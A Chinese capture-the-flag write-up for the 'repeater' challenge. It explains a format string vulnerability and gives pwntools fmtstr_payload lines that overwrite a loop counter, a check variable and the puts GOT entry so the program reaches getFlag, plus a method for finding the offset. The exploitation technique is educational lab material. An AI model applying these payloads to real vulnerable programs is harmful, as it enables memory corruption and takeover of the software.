repeater
考点:格式化字符串漏洞
pwntools知识点
fmtstr_payload
是pwntools
提供的函数,用于自动生成格式化字符串。
fmtstr_payload
有两个参数,第一个参数是int,用于表示取参数的偏移个数,第二个参数是字典,字典的意义是往key的地址,写入value的值
fmtstr_payload(7, {printf_got: system_add})
这个函数调用会往printf_got
中写入system_add
分析代码
此题为简单的格式化字符串漏洞,首先总览分析一下程序,循环受totalcount
次数限制,初始值为1。
程序提供了 getFlag
方法,但是需要变量 number
为 0x2018
才会执行命令。
一个一个kill
totalcount
接下来思路就很清晰了,首先改写totalcount
变量,使得循环执行更多次。
totalcount
的地址为0x0804A064
,所以要将其修改为3
1 | payload = fmtstr_payload(4,{0x0804A064:0x3}) |
number
然后改写 number 为 0x2018
。同样我们要在.data
中寻找number的值
1 | payload = fmtstr_payload(4,{0x0804A060:0x2018}) |
getflag
在最开始的图中我们可以知道,格式化字符串输出后就调用了puts
函数,我们要做的就是将puts
其地址修改为getflag
函数的地址,最后调用 getFlag
方法获取 Flag。
那么我们现在有了新问题,怎么找到puts
的地址和getflag
的地址?介绍两种方法
方法1(puts)
使用objdump -R repeater
命令
地址为0x0804a014
方法2(puts)
ida找got表
getflag地址
直接ida打开就行
框框中的地址好像都可以用
payload
好了现在我们有了puts
的地址0x0804a014
,getflag
的地址0x080485B6
脚本如下
1 | payload = fmtstr_payload(4,{0x804a014:0x080485B6}) |
exp
最后代码
1 | from pwn import * |
小知识点
1.寻找偏移量
看输出判断,比如这个题的偏移量为4,我们这样来确定
输入AAAA.%x.%x.%x.%x.%x.%x.%x
,查看打印的字符41414141
在AAAA
后面第几个偏移量就为多少,这个是第4个,所以偏移量为4.
我们再来一个,源码来自ctf-wiki中格式化字符串
1 | /* example/overflow/overflow.c */ |
编译下gcc -m32 -fno-stack-protector -no-pie -o overflow overflow.c
根据上面讲的,这个的偏移量就是6,我们尝试下修改a
的值
首先找到a
地址为0x0804C024
1 | from pwn import * |
成功修改,同理修改b
1 | from pwn import * |